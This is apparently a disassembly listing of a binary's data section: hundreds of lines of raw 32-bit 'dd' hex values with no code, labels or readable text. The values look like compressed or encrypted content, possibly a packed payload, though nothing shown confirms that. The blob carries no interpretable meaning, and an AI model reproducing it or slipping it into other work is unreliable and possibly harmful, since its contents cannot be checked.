		dd 3B9D9A14h, 7CBF95EEh, 1E510A18h, 0E50308Bh, 635480C6h
		dd 0C0F0D124h, 9DF46780h, 9A1BA0h, 37D32A0Ah, 11B8968Bh
		dd 60039939h, 0DF23EED8h, 55303FA2h, 907A5E94h,	0C5847B00h
		dd 1C0D2DD0h, 51536514h, 0E389100Ch, 803D325h, 0FAD0D59Ah
		dd 11C5BF1Eh, 0B39598h,	0C5FCA404h, 394978F5h, 72305D1Ch
		dd 8C7A7368h, 34A352Dh,	0C1EF46A4h, 983C30A6h, 85B0A43Fh
		dd 0D5D18E11h, 20C77E27h, 1F2BE9FCh, 40C98FAh, 0EA560959h
		dd 0FEA10028h, 0ED23B195h, 1500A422h, 8D3E7CD8h, 603E1BC2h
		dd 9CD004F3h, 1080E36Ch, 4891ED16h, 7B3E2848h, 78F0B918h
		dd 5B162941h, 0DC407904h, 268B25FAh, 4DAC3815h,	4E38203Ch
		dd 0A0698F37h, 0DAA48AC0h, 0C3A18B02h, 48EB8EC7h, 0B0AF7C54h
		dd 84E814h, 0D2E29D1h, 0D6099E08h, 857DB8CFh, 0BC0CB91Dh
		dd 6C8719Bh, 6CEF53E7h,	160C18E5h, 3024C38Dh, 0A54F1045h
		dd 3B6806D3h, 0F18E076h, 9E992BDAh, 8088E76Ah, 1F95BBB9h
		dd 0C100F429h, 0DB644239h, 0DD91C5h, 2755CEB4h,	9F0BCDF7h
		dd 5C75007h, 5110ED4Fh,	3921122h, 155E6FF4h, 35B04367h
		dd 0E400F689h, 88C6CA4h, 0FD0585h, 92772691h, 0DE4E7347h
		dd 7882C600h, 20E60CFBh, 56652C44h, 0B81E0052h,	0B34070A2h
		dd 63865F00h, 0E201F31Ch, 0FC92019Ch, 0A966171Eh, 0B830E8CCh
		dd 0F114D300h, 0A7E3CE97h, 7AA7884h, 3168AF62h,	422A4C7Ah
		dd 0DC003CFCh, 32F7DA8h, 39AEB755h, 69023684h, 0FB56116h
		dd 8898ADC1h, 884CF929h, 4290AC8Fh, 48B68384h, 9EFC4275h
		dd 228A5E22h, 31242B47h, 7ED3040h, 231E4DDDh, 5A07EC41h
		dd 3130D7E1h, 29E354h, 49D60760h, 0DEBBD286h, 3F5E6B00h
		dd 66B9E184h, 616800DBh, 9B4A9D42h, 2B00FCEDh, 0D0FAF436h
		dd 0C05FDD04h, 0A5CC5D48h, 9D003AD1h, 49669140h, 73F1A1h
		dd 0B390AE34h, 4FE28A6h, 0E73BFB01h, 0DB08E95Fh, 0D9C570h
		dd 0DEC78B42h, 71E28251h, 3740B300h, 0F77D4DC4h, 42923830h
		dd 5C2C8780h, 7BCDC72Dh, 5014B4A0h, 543C5E7Ch, 5D6E18BFh
		dd 7D4BB070h, 6D1B39B8h, 0AC72FB0Bh, 0F0AF0C01h, 0EC2DC489h
		dd 17CA1800h, 9B60231h
		dd 227D005Ah, 41468224h, 0B5607615h, 3B0E8988h,	0CE8518F5h
		dd 0AA22583Ch, 0EFF8FD54h, 0E496C900h, 8E0F93DBh, 0A08D0258h
		dd 0DF39FD04h, 7B12360h, 0EF0062E6h, 161ACC25h,	5629E4h
		dd 0B517FC2Fh, 8A52533Ch, 0FECB7400h, 640B4737h, 18EE0354h
		dd 576A7CA7h, 36450F90h, 0CFD11900h, 2EB78CC9h,	3801FC5Ah
		dd 0DA1F3093h, 0C480FD73h, 0C984994Bh, 8909AD39h, 0B4C9463h
		dd 2D740000h, 767A882h,	90BA786Fh, 0BD6B002Ch, 0C300FEEEh
		dd 6235E213h, 0B1AE80h,	0DA0A56D6h, 3B4B30DBh, 0C627E903h
		dd 0C0067E6Ah, 76591775h, 10224A8h, 0F46F00E9h,	0B7EE1BD6h
		dd 69CCAD00h, 2B64BDD8h, 63F300EDh, 3503D5A0h, 0B0505E9Dh
		dd 0F101D6DCh, 8D3192C6h, 0D7FC9865h, 0DC8900BFh, 0D2EC2285h
		dd 0B00119F0h, 0F81E1495h, 5C70667Bh, 0D61B1F78h, 774340EEh
		dd 3B54679Bh, 0C41387FEh, 5AC1180Eh, 0D6D46E7Ah, 79A79F3h
		dd 0C690CD38h, 9217393h, 63B1EEA3h, 3A91DCA7h, 52CFB501h
		dd 0C89E98E4h, 0FA0FFC40h, 74EE1238h, 8F38027Fh, 0E607AEF2h
		dd 0C55430C1h, 9E9A3081h, 0D0B4638Eh, 0A000CCF4h, 6DA471CFh
		dd 309BE589h, 3920BE2Bh, 0D8FB8F66h, 0D42A98AAh, 4C00D0D8h
		dd 51075053h, 929D3Fh, 0E46B1B37h, 0A4118BC1h, 0B55C4100h
		dd 75107D66h, 653303E2h, 0FD4D38C4h, 0C2291BE0h, 678CC0C3h
		dd 0BCEEC8CFh, 4BE700ECh, 0B8988D1Fh, 0C700D0D2h, 0E3B93E3Ch
		dd 0AF5590h, 0BE5E5382h, 1377C621h, 71194702h, 60EE2E6Bh
		dd 7CC6158h, 9084854h, 240FE0AEh, 4E005CFFh, 95C03620h
		dd 245B989Ch, 1E842A56h, 0FA401C7h, 0E849DFDBh,	9F00B395h
		dd 15B6F07Ch, 0F997E13h, 5E070661h, 7B5BFAC0h, 36014122h
		dd 738F9C43h, 0E03F141Ah, 600081C9h, 0A88E9576h, 27A070h
		dd 0BA2B44FBh, 97BE920Eh, 9DC16B12h, 58368C00h,	8C18A8h
		dd 51D0BA6Ch, 0EBBFAFCCh, 359E4904h, 0D090CA75h, 74ADB4h
		dd 7CAB379Ah, 7F77B5FAh, 8A2A2700h, 0E2729EE8h,	0B24800C2h
		dd 0B858702Ch, 5B00C506h, 90D02429h, 1BDCB04h, 346AADCCh
		dd 0D863DC7Dh, 993A2150h, 87803FACh, 0B4307F68h, 6B87E420h
		dd 0E2920097h, 335D2B91h, 80001FB7h, 5F4B88B8h,	5E306801h
		dd 2137F0D4h, 9B29DE0Eh, 86E201DBh, 1FCA584h, 4E6E1DDDh
		dd 76C3C343h, 5E7C26A2h, 0BC672E00h, 0C0387DD8h, 833E0039h
		dd 119CDA3Ch, 0F507F6F9h, 0C2627AFFh, 0E09960B0h, 0A4D60787h
		dd 0EC7420h, 84D3459Dh,	0AEC28500h, 47F807F7h, 0FD340016h
		dd 1B4366C0h, 9B00AD27h, 99CE5556h, 7FDCABA1h, 0E6264803h
		dd 387C5B00h, 1FE02D5Eh, 0C78E021Bh, 3F9590A8h,	0DF3C00EDh
		dd 2EC233B5h, 0FB3EAEF8h, 0E24080C5h, 989C69Bh,	7CB1B06Fh
		dd 7AFFACEh, 0AA552208h, 6AC0B0E6h, 6900BE27h, 3233F53Ah
		dd 2FE4440h, 6CA63BC5h,	0C0605C60h, 0AD701935h,	0CC8DAC00h
		dd 0B1B82797h, 71123A2Ch, 501D0480h, 0F225149Fh, 168BAD00h
		dd 0D8426F1Fh, 0CA7A0056h, 4ABCD408h, 1A008A18h, 0CC5AB22Eh
		dd 815447h, 4BA71932h, 3D297EAAh, 0C751FECEh, 0CB811CC2h
		dd 9C248336h, 5D713B18h, 0AA0D8F00h, 347BAD02h,	0F863EA00h
		dd 0AF5F6085h, 7DFAB7h,	0F76104F9h, 0E081C536h,	0F4077E70h
		dd 82723FF6h, 0CF53D820h, 85EA0376h, 5FB7F11Dh,	544884EAh
		dd 3C7A505Bh, 0A4EBE504h, 90879DA8h, 3B0FAA0h, 8B9309D1h
		dd 9BD4EF9Ch, 9B619400h, 0B7A928h, 7AC3F71Ch, 2F96FAB6h
		dd 0C6CC4700h, 6D2EE3DEh, 62D85CF8h, 0C3C56F00h, 0FE901E04h
		dd 55F2DB00h, 6EE72F1h,	0FB91000Fh, 8DC6ACAEh, 0DC2CA63Ch
		dd 9A00C598h, 6C303372h, 717146h, 0A25E0928h, 0C1024F73h
		dd 0F9757F1Eh, 702A3F80h, 32454Eh, 63C2268Ah, 0E93E830Bh
		dd 65FC111Eh, 24610343h, 0A7E5F0A8h, 74B8282Fh,	6C3F00F4h
		dd 0F332663Ch, 0F042446h, 89F427B3h, 0A4F2A880h, 0EB26001Ch
		dd 441391D5h, 0C304625Fh, 23AD5450h, 68095CC2h,	1EA5F964h
		dd 0C1905DFEh, 3389B62Bh, 0FBA440C5h, 2D00EF06h, 2138A21Dh
		dd 0B45D85Ch, 78106990h, 7A04F823h, 5F3EEFC8h, 0F985CC00h
		dd 0A7F29127h, 7CA11E37h, 5C5D8022h, 9FBC1E3h, 0DA8CF500h
		dd 0EBE72E5h, 55F675h, 0E368A1C4h, 561D819Bh, 0BA4395Ch
		dd 9887D0FCh, 0ECE764h,	63C13479h, 0B990148Eh, 0EB243500h
		dd 701937C9h, 74F600D3h, 56837BB7h, 0F9006E1Eh,	55AF4DFAh
		dd 123C71h, 1D0B8EAAh, 8656F33Fh, 7BEFBF00h, 0C0B6235Ch
		dd 0FA3FC7Ah, 60EDBDC1h, 0C01CE4A4h, 0FE1A08EFh, 63DBC418h
		dd 2554BA8h, 92825245h,	8480C254h, 0B85044D8h, 0A60C4100h
		dd 0D994F560h, 58F17EC1h, 7F122096h, 0C0404093h, 1A13DC7Eh
		dd 0DBD6F300h, 10FACF12h, 0F7C30EC4h, 99C04204h, 6152B93Fh
		dd 2E345500h, 6582196Ch, 16AC9480h, 38D80205h, 0FC68631Ch
		dd 8E0A8806h, 9DE48DAEh, 6616CE02h, 7564E081h, 0F6D53991h
		dd 0A3740880h, 0C479DD8Dh, 880E4F00h, 40721B41h, 5EB51FB9h
		dd 432A433Ch, 0DDF98223h, 0A070A675h, 4CE04F18h, 864B00CDh
		dd 0F33D6AFBh, 16025C6Fh, 71962C99h, 0D5CB6019h, 90B500CEh
		dd 0C163806Bh, 30B12BAFh, 2CEB3D00h, 7274A7C3h,	2D5D0007h
		dd 218F611Fh, 0DE778920h, 10845Ch, 0C418B187h, 24BA37A0h
		dd 304EED4Eh, 27949050h, 358D3B00h, 109C0B6Fh, 8B2612BCh
		dd 42D90095h, 2805E2FFh, 0FAB44E01h, 73F8C489h,	8DA020h
		dd 0CC6FDA76h, 4E02C1CDh, 60443430h, 309C85h, 1011E1DCh
		dd 4AC1F70Eh, 3E53311Ch, 845714h, 6B6597Ch, 78B517C2h
		dd 0C7FCE4h, 98302629h,	0BE8C75D3h, 2B660700h, 83AA5B27h
		dd 0F77B0069h, 3EF633EEh, 5E005F0Dh, 0C5536690h, 90451DA5h
		dd 7E47E478h, 6CC00E6Fh, 2F20E4E5h, 0C15AE695h,	0F29EDF00h
		dd 0CB9F0E92h, 37781F03h, 33F080C5h, 0CDB751A9h, 0E916DE00h
		dd 0A5C41166h, 0E0A813FDh, 319C4064h, 0CE0FFBE8h, 80728138h
		dd 0E5303744h, 905348Ch, 0DEEBD688h, 64D17100h,	0FB010BB3h
		dd 72CAF76h, 0DF43A18Eh, 297F8033h, 75AE0049h, 238B28CDh
		dd 5F00CAA8h, 0BE190499h, 34B5C66h, 0F22017ADh,	98B07FA5h
		dd 0CE000A2Ch, 2EB2C5DEh, 5F437Dh, 2DE7D40Bh, 0B3CA1C49h
		dd 0DA1E9778h, 0C5C083D0h, 4B99F9E8h, 3F67091h,	0FBC45869h
		dd 0F5E1ED73h, 0FFD8DCC5h, 0E51A65Dh, 0AF423204h, 13AAA7A7h
		dd 52FAE680h, 0B5D001DBh, 430F7BA9h, 17D14062h,	2C07C44Fh
		dd 0B9254E90h, 0B1DE0300h, 19EC0027h, 0A96E5FEEh, 0D10F50E9h
		dd 7EA3399Eh, 18013F80h, 1EE61DDDh, 80C5A9E2h, 0E0D635Ah
		dd 9A00E1EBh, 43C4D5F6h, 96D6C68h, 0B04E9137h, 0C94AA000h
		dd 5B3B8017h, 58978053h, 4E0C89D9h, 63F201CFh, 0A2C16DA3h
		dd 726C70C7h, 822B4C07h, 0CA21477Fh, 93E46F9Dh,	41060CE2h
		dd 0CE4083F7h, 143D2407h, 16D0DE2Bh, 12E38Dh, 53F4DFD2h
		dd 0AB4115E9h, 3AC17007h, 7CF097A4h, 0E263BC84h, 0CAD900FAh
		dd 8525E139h, 8C13BB53h, 78001BC7h, 911F4B3Fh, 3A35000Fh
		dd 7D12077h, 0F902C6FCh, 85979FA2h, 0FB9B60E5h,	689A60BCh
		dd 7F1207ECh, 45424C00h, 93BBBDC0h, 95D00038h, 27247280h
		dd 0D2006790h, 14ACD492h, 5E30F45h, 0E95C2881h,	0BF86C1ABh
		dd 7F5AC805h, 0C62AAC01h, 0E5E79580h, 852BD440h, 7BDC007Dh
		dd 98014CCFh, 0F958D3AAh, 0FA8B3BF2h, 283B6A00h, 449DEEB3h
		dd 9AE500FAh, 9BE1C6F5h
		dd 7539C0CFh, 0AB00DB89h, 24B1511Ah, 3991006Ch,	0DEAC266h
		dd 702375Ch, 0A2D7012Eh, 0F898C01Eh, 4E3E00E5h,	7D6F5BD4h
		dd 2900B550h, 0DFEBCEE6h, 5C70AAEFh, 579FAA3h, 2B4B93B2h
		dd 0C0C80EF3h, 0A657D380h, 7E006DB6h, 62C820C5h, 0E476D1C9h
		dd 9F9200C4h, 0B2E68260h, 19003B8Fh, 0B46D4A26h, 327663h
		dd 61575B0Eh, 41F80FA9h, 3CA69F00h, 5E39EA02h, 372E001Fh
		dd 8FCBD7B2h, 0CE0063F8h, 0E9C51CAh, 0E11DC3Ch,	41397BA5h
		dd 771E3EE3h, 5A295BD8h, 56BF9400h, 87AA307Dh, 0FAC905Ch
		dd 889C71BCh, 0C2D2B9A1h, 7068D411h, 92CCB100h,	891D644Eh
		dd 4A091CECh, 65D0C019h, 2DDEED7Eh, 6147E603h, 0F8EAACE7h
		dd 5C907166h, 0AA001EB6h, 0BC9F216Fh, 0B005886Bh, 1357C6D1h
		dd 0E0189000h, 76745Ch,	9ED8577h, 72AEF2E4h, 9B0590C0h
		dd 1FC9D03Eh, 401F7699h, 0A4582A9h, 300E3A44h, 8097A506h
		dd 0FE102057h, 1D400323h, 16DC56A7h, 0D4040AF0h, 32753F00h
		dd 0BE057D9Fh, 1D52005Eh, 96F86379h, 8CE41B09h,	99C11400h
		dd 0B960BFC5h, 3D7100EAh, 0D304C0ACh, 5C00B472h, 73C56B96h
		dd 517C66h, 8616DB0Dh, 0B524C77Fh, 9C99200h, 808F36F8h
		dd 455900DCh, 0E854EE4Bh, 43006396h, 0DA8B68EAh, 146DA49Ch
		dd 80D981D6h, 74E6A70Eh, 22FB49E0h, 0CF58ADE1h,	144E0009h
		dd 0BDA6D016h, 458E006Ch, 0D4E299DAh, 3D00BFB1h, 0E5A4E81Ah
		dd 1E65AF1h, 79ED333Ch,	0E472F9E3h, 0A80050B2h,	0D8A35108h
		dd 7C8D958Eh, 5E1A1D49h, 259D4763h, 8C1080D4h, 0AE01FAA5h
		dd 9C0453ECh, 9880F95Fh, 47DA9BC3h, 2800DB84h, 7B264027h
		dd 0FC37F1h, 15A060Bh, 0BCA247CEh, 0BA54F301h, 57DB90BBh
		dd 99DD80C2h, 713374CBh, 0D46C0775h, 904BF20Ch,	9DB4A395h
		dd 8AC22000h, 1BEBF0E9h, 7FBF0FBCh, 0F6436915h,	0C3E8E4E1h
		dd 970E3860h, 0CF4EB765h, 31D52008h, 0FACB37D4h, 80853F53h
		dd 1F7E00F6h, 7A08A1E9h, 0F700D3A8h, 5FB27C4Ch,	7BE7CFE3h
		dd 103B1907h, 81D53084h, 0ECA01941h, 22F402C3h,	0BA5E002Bh
		dd 0CD90C401h, 821E588Dh, 0E01E6F2h, 0A48FDD29h, 0B0DC5020h
		dd 55F800B5h, 1D6A33Fh,	0D1001C71h, 0F7637E77h,	0B891179Ch
		dd 6B2F000Fh, 29B0ABA0h, 0B400D180h, 7E8B2E81h,	1603920Ch
		dd 182267h, 0B11F8524h,	860031B8h, 125B094Ch, 1F53261h
		dd 6C7F2738h, 0EC6641E7h, 7A002D6Ah, 5188AF65h,	1A2452EDh
		dd 11B892BDh, 0A7D9C410h, 69C10418h, 433C530h, 639CD549h
		dd 5FBC90D8h, 81C529BDh, 7CC3129Bh, 52B9F0D5h, 0E5FD3E3Bh
		dd 3C32D11Fh, 7FDD3074h, 1AB40A10h, 0DF2A440Eh,	0C0005F88h
		dd 51EA23D5h, 36C901F8h, 0F1C25A89h, 9008E8E9h,	13829A00h
		dd 3FBB2AADh, 38C01CAh,	0E24E0122h, 0D3B4C846h,	0CEB14900h
		dd 48A7EC6Eh, 4FD50338h, 0D734479Dh, 0B9FA8901h, 0D9FC1C8Dh
		dd 5AA0C182h, 0E0F1174h, 0B41E80C1h, 909BE7E0h,	828E0136h
		dd 0C913C6C3h, 59E88615h, 6311D63h, 0F31EE4A3h,	0F50538B5h
		dd 5E5920C7h, 0C0C91005h, 2C8F1C00h, 5A2B1FCh, 270B89C4h
		dd 0B5B6C08Bh, 95009DA1h, 0BC6CA64Ah, 0F47E73h,	243E13D9h
		dd 0FE71EB05h, 5CBB781Dh, 8EDCEE40h, 1D999BF4h,	403AA190h
		dd 0A6418F02h, 0B903D525h, 7654AFB1h, 7FDC8069h, 0D06E5458h
		dd 9FF80016h, 0EEC7BFD4h, 0C91D2B1Eh, 2C141B9Eh, 9A160090h
		dd 9929D489h, 31E4070Ah, 9003285Bh, 0EB189FBBh,	0DF9BD702h
		dd 0A0775EE6h, 0C182C6A0h, 0FE480FCEh, 9B8218Ah, 17000ADDh
		dd 0E76FA618h, 0B2534D1h, 9B075763h, 0B16DEB81h, 1EE0F282h
		dd 0E603493Eh, 0B755A3A8h, 0E9A6F82Ah, 9970D832h, 0DF299C18h
		dd 47003CF7h, 0B648C5C3h, 10FF867Ch, 0C3813Dh, 5B66CE89h
		dd 0FCB37626h, 8AEF4500h, 250F494h, 10B00F0h, 0AE937FAh
		dd 0FD00823Ch, 6675C72Dh, 6971986h, 98F35BB6h, 113008BEh
		dd 0CEBC20FCh, 0B7FE0086h, 2492E61h, 0A300899Fh, 88998D1Eh
		dd 6103BBC9h, 50FD10C4h, 7ACE0CAh, 0F5F01A00h, 0E847A2A3h
		dd 0D51F09F1h, 0BF78030Bh, 8712600h, 5ADD3154h,	2EFF0F56h
		dd 0C30030CDh, 0DFD420D3h, 0E0037503h, 0F01A35F3h, 3AEA4FAh
		dd 85E82177h, 8EC86410h, 63000F08h, 3C69D35Bh, 3495E1h
		dd 3D882D47h, 17509C6Bh, 0AAA4A00h, 0F98EFBFDh,	2CEE00D1h
		dd 36695C6Ch, 4103818Dh, 0A57443DDh, 0FBFEF0B2h, 0FA850F31h
		dd 2A80C219h, 0FD084698h, 21C73207h, 18002FF8h,	600C4B44h
		dd 77BA5967h, 4801306Ah, 6B5407F9h, 0A080E6ADh,	3B6E55FDh
		dd 950E77DBh, 49F5E078h, 21268326h, 0A4F904Eh, 867A1D49h
		dd 0C00C4373h, 180371EDh, 5EB90159h, 0D7B0003Ah, 2F1E2915h
		dd 0C007331h, 22713560h, 3EEA4Fh, 2A83AD7Fh, 3F211775h
		dd 0D9CC4D00h, 25328B9Fh, 0DBDF2495h, 642400CEh, 561B0EBh
		dd 7DD79C07h, 0DE10F60Eh, 0AB589Ah, 42B50C46h, 19C5F94Ah
		dd 9CB85900h, 9E408043h, 6EFE1DBBh, 1E5F806Dh, 8FB41FBEh
		dd 0D72EB1F8h, 5801FAEBh, 0B91A028Eh, 1C17ECF8h, 80BE736Fh
		dd 0DB5D85C3h, 88003195h, 349CC1AEh, 0AA70BFh, 90FB9B92h
		dd 1360F0D6h, 0EB6948h,	795D7174h, 7CBE6812h, 0B3D700A3h
		dd 0FF86535Ah, 721E31CEh, 0EC0F249h, 0E557A9A7h, 7AB0006Eh
		dd 0E3053474h, 0BC0024C3h, 65DD1C1Ah, 93A8BAh, 0F25DC7CEh
		dd 18D3B621h, 48CF5503h, 0D8941CA2h, 0AA7420h, 1972D5FEh
		dd 0BA4CD65Fh, 0A6447100h, 253DD32Fh, 0A7760206h, 0F7B1DCD8h
		dd 7AA82F63h, 2D09F322h, 664D5Bh, 0CCD0A5C4h, 4AAE01DDh
		dd 0FB12D9C1h, 0F40BE11Eh, 500027FCh, 0E2258997h, 0ECB38Eh
		dd 20619CD2h, 0F7C41E52h, 0FA9F9B00h, 4E9016F0h, 0DAE90002h
		dd 989C486Fh, 1400DCA5h, 0B0EA0B44h, 9A94CBh, 956F23D3h
		dd 9878C7ACh, 5D0EC4F6h, 406B61A9h, 0F40E4C5Fh,	44460072h
		dd 0E17B8869h, 62011AB0h, 0B35CD06Ch, 59F45627h, 915E000Bh
		dd 7DADFE32h, 36007696h, 9D837A40h, 0E46F6AFh, 0DA5FCD7h
		dd 0BEC2C74Eh, 0D380156Dh, 2592FD37h, 23B09D00h, 843B503h
		dd 0C65C00C5h, 1A16400Ah, 4600B6B2h, 7BAD2093h,	993B8Ch
		dd 3222DD0h, 0FEAB912Ah, 811E193Ah, 0B77602F4h,	8C504998h
		dd 244124DBh, 71660Ah, 0FC4A117Bh, 96786E9Fh, 8FDE1E3Ch
		dd 0C01029E3h, 0A09A7E5Bh, 9F6400B8h, 14FC79DCh, 0FB003C0Bh
		dd 0CEF962B3h, 7868B59h, 827C6C12h, 48DE6322h, 5E40D000h
		dd 0DB2AE915h, 0E3C90097h, 1178B32Dh, 0A200726Bh, 0C8C0B841h
		dd 0E8D5D6h, 1067699Dh,	1E7E87F9h, 0A6EEA501h, 9FDCAA56h
		dd 3F467AD4h, 65851455h, 0ED9701h, 0B68CC984h, 100773FAh
		dd 456FE875h, 0F3E483E0h, 0B14C003Dh, 6935C73Ah, 813A075Fh
		dd 0A0258073h, 752D4E37h, 0C6CF3DF5h, 1700F2BAh, 0DE4F8CA7h
		dd 8100C89Eh, 7E7BBF47h, 14F1D7A5h, 0C8FA79AFh,	21782D00h
		dd 0F534DBE6h, 0ABF6DA00h, 64C9107Ah, 7A897588h, 0C86607D4h
		dd 5478AACEh, 922801Ch,	870095C3h, 0DC5EDAEh, 0B1BEAh
		dd 898D74A4h, 66E8C4E3h, 49FBDF00h, 0AD19B9C2h,	5530240Dh
		dd 0B83C9404h, 0B75411C0h, 731D7E4Dh, 0C800D352h, 165EF667h
		dd 201701A4h, 1D4E0BC4h, 8AA3D896h, 919B7731h, 0D050F058h
		dd 0F6EE42C2h, 676C00EDh, 2C15A3ABh, 1F006E9Eh,	760AF87h
		dd 78F327Eh, 851CA92Dh,	7CACB0DBh, 0C00334Eh, 0A6627B6Ch
		dd 97214BBh, 0A9805EDAh
		dd 0BD8B4420h, 2A309686h, 581B79FAh, 81E92CF7h,	0C4100FBDh
		dd 7E00B7CEh, 0ED35D491h, 0D05A9E03h, 0C3B80Dh,	9949B2BCh
		dd 23103FF6h, 0AC110613h, 0B0C8BA00h, 12BD0793h, 1C403CB1h
		dd 0FEB84374h, 38014C17h, 0D10EDCA7h, 36F8220Bh, 0D77007Dh
		dd 0A02B6F3Fh, 7A004549h, 469DC658h, 5F985Ch, 82BF0AD0h
		dd 50A6D992h, 8C4B953Fh, 10DBECA1h, 66F53C37h, 125F4485h
		dd 0C300FB2Eh, 118D3417h, 0F596264Eh, 83BA02C0h, 0B0609855h
		dd 26004DDEh, 0DC73B0E3h, 0EC3BDBh, 73E99E9h, 64EE0BE1h
		dd 4D322902h, 8365FE0Dh, 0E087FD9Ch, 1A582D9Bh,	0D0A19CC8h
		dd 0B5080260h, 548DAE0Eh, 0C81E019h, 0FE6979h, 62887DC9h
		dd 9B3B51A1h, 0E166D00h, 0BA66768Ch, 0D4B009Eh,	8B291CE0h
		dd 2E079D31h, 5078D854h, 0ACFD0270h, 20E50168h,	6972B1F0h
		dd 0FAF0A43Eh, 2D716300h, 0BBE310h, 0F24635D2h,	26F9A476h
		dd 457B977Dh, 0B0A8D812h, 8803FA00h, 1DAF407h, 2325F34Eh
		dd 20B8725Bh, 0E41E2408h, 6D4470DFh, 3D00CDAAh,	145D2FA8h
		dd 0E17E11CEh, 0CEAF9A49h, 5820A500h, 15A4D000h, 0CF8C28B6h
		dd 0D4D309EDh, 0E080DEACh, 70BAC2B5h, 0E500D27Dh, 0CA1226E9h
		dd 68EDB7h, 43B029Ah, 6E825386h, 0F08B8D04h, 8CD011B4h
		dd 0F978129h, 2F9DE95Ah, 1860E334h, 2AF0537Eh, 13AE014Ch
		dd 250ED21Bh, 0B4CB201Ah, 0A0C222D6h, 88B261D4h, 0ED00E125h
		dd 0C4500741h, 45DAFCh,	1FD6AD27h, 9B5851D8h, 0A7524D0Eh
		dd 6FBC085h, 728BC72h, 20EE2922h, 54CC0AEh, 0CD0021ADh
		dd 0F6D24A7Dh, 9CBD96Dh, 62AC2EBAh, 0D00098DEh,	0CBC0AA3h
		dd 86B53E33h, 0A42100F2h, 63ED3256h, 7E034BC4h,	6FA7FA52h
		dd 0ABCFE0A1h, 927970h,	7648395h, 0D4811AF8h, 6B458E03h
		dd 0D2040569h, 30D54067h, 35470F6Dh, 78401624h,	0D78E0F60h
		dd 0D2A02600h, 0C8FDEF0h, 52530F1Bh, 7687CE01h,	5C9803FCh
		dd 701907C9h, 0FE0086CAh, 0A8A6B292h, 3C599CEh,	0F14C212Dh
		dd 0B9C89EB0h, 0BC07FC02h, 35896817h, 809B3290h, 0E9570047h
		dd 0D388013Ah, 71009C52h, 0E2CD8EBFh, 0E0CAE8h,	0CEE689Eh
		dd 45AE558h, 0B9A77100h, 0BB4B4FD0h, 0E29820h, 0EA887F5Eh
		dd 0E6B81496h, 0F4701D00h, 7975608h, 2A1B28A6h,	91D803E0h
		dd 1A584C31h, 97F759B8h, 362D6907h, 6AE0F5AFh, 9A6E9A1h
		dd 5FB08F0Bh, 0AE5C4418h, 9F02D50h, 4834AA00h, 5C15A9Fh
		dd 50F4141Bh, 0FC121056h, 0A4340002h, 0BA7D28Bh, 80162730h
		dd 74EEE93Eh, 0E5EB0B2Eh, 2C0F0EDEh, 0C1CD968Eh, 6D16E0A0h
		dd 40437100h, 1D117075h, 7A8D189Bh, 0BAE4219Ch,	21381CA0h
		dd 3E14E118h, 0EEF908h,	60E46E50h, 53AAB5F8h, 0BBEC2B00h
		dd 8F0DCDFDh, 25290071h, 9AE8E4Eh, 0EE00FC2Ah, 56EB6E07h
		dd 0E220F330h, 615E01E6h, 0D00A9C96h, 0CF5C53FFh, 6EB0B7C3h
		dd 1B003971h, 0FE2001FDh, 19561C5Eh, 991047FBh,	0D1B08054h
		dd 0D209310Eh, 23A8004Ch, 0DB37BBA9h, 0C40332EAh, 0BAB51BBEh
		dd 0C3B7E038h, 7F5100C7h, 39D562FAh, 0B300404Fh, 3C838580h
		dd 12BAEDEAh, 0ABD08Fh,	2C2813E0h, 63008069h, 0F8BC92E3h
		dd 0C9846Bh, 29768A5Eh,	642ECA6Dh, 87036F00h, 1021F482h
		dd 0A0ADEE65h, 0A75AACh, 0A4630CF8h, 0F51A7D88h, 416F4300h
		dd 228F0E09h, 72AE0AF1h, 80BCC53Bh, 0BCEFE72Dh,	0AF30CC4Ah
		dd 776BE8CAh, 0E1A7FE3h, 0BAA9B958h, 61327CA0h,	0C33ECCF4h
		dd 5FF8E1D0h, 79D743F6h, 779D8828h, 0FA133900h,	3688BDEEh
		dd 8096000Dh, 7951039Fh, 6100043Ch, 0CF499C9Dh,	7A122B62h
		dd 0BE9100E6h, 0F697967Ah, 631D036Bh, 28CE276Ch, 0DB5D2060h
		dd 98DD91h, 6A737C8Eh, 0AF22134h, 0FAF628F2h, 40F09600h
		dd 0A4A10736h, 77FB07E5h, 6F709A9Ch, 257E2320h,	245878FFh
		dd 0F44603BCh, 0F9A22AC5h, 8440D42Fh, 2794BD7h,	0A1C8F64Fh
		dd 0DC60C5C6h, 5B2EA838h, 290E3C91h, 0B6654060h, 1B01B95h
		dd 0D2DC9FABh, 20BAB19Dh, 66007BCCh, 73B840Dh, 77E1D1F7h
		dd 0C8A7009Ah, 5F4AF3E8h, 0E9016736h, 6263B871h, 57C8F72Dh
		dd 146B2638h, 0ED0039AAh, 5A30DFFCh, 0C1007992h, 1809FF7Fh
		dd 0E628BD4h, 0A8887051h, 8C679380h, 0BB7F406Eh, 0FB0048F4h
		dd 0DDE80692h, 3A3A94A8h, 1B00EF39h, 75E44903h,	0E5B8795Dh
		dd 2226B3Fh, 41C535E0h,	3480A01Eh, 2C791949h, 0D48A8Ch
		dd 42973B4Fh, 8700C1FEh, 80044814h, 25411Bh, 0CAE5B151h
		dd 0F95468ECh, 0E94D3400h, 0AA699886h, 0E36A01F7h, 2FC35956h
		dd 42E4D484h, 6302A9F0h, 0BB3DCBC0h, 0ACFDC07Eh, 0F58200DBh
		dd 159B2E4Ah, 0FA26FE7Ch, 0CB0EC09Ah, 711DC13Eh, 4DD03B81h
		dd 0AB7800DFh, 0C46D1B59h, 0E6F8955Ah, 3F50C000h, 717FB626h
		dd 76200048h, 2164370Eh, 0B3B4DB8h, 9F0C1D45h, 20C04B40h
		dd 0C9003C1h, 0B70235DCh, 0BA127E50h, 34005ED1h, 0F32584B9h
		dd 48531C33h, 0AF0F8E41h, 0B50C44E1h, 1566C05Eh, 8C7E6300h
		dd 0BCBDE631h, 0D36F0087h, 74919455h, 0CC00B27Bh, 3C30D219h
		dd 96CD22h, 4D3EF8Fh, 60524699h, 165C9100h, 0F130F8B0h
		dd 0C1D802EBh, 0ECB74A6Dh, 5E95C4C8h, 0CA8C84A0h, 2CFA510Ch
		dd 65A067h, 0F745C831h,	26F3398Ah, 9E16C414h, 62330084h
		dd 41244B7Ah, 5CE5007Bh, 89BD5545h, 0F700AF23h,	7669AC93h
		dd 28265479h, 3D0CA0Bh,	2364950Dh, 0C7A4588Eh, 0A1600F0Ch
		dd 0D475A27Ch, 2C00C572h, 1CB944D8h, 3D18F7h, 0D93403C3h
		dd 7CF32E6Bh, 249A5702h, 0D6814A44h, 0C7813E83h, 0A025E9FBh
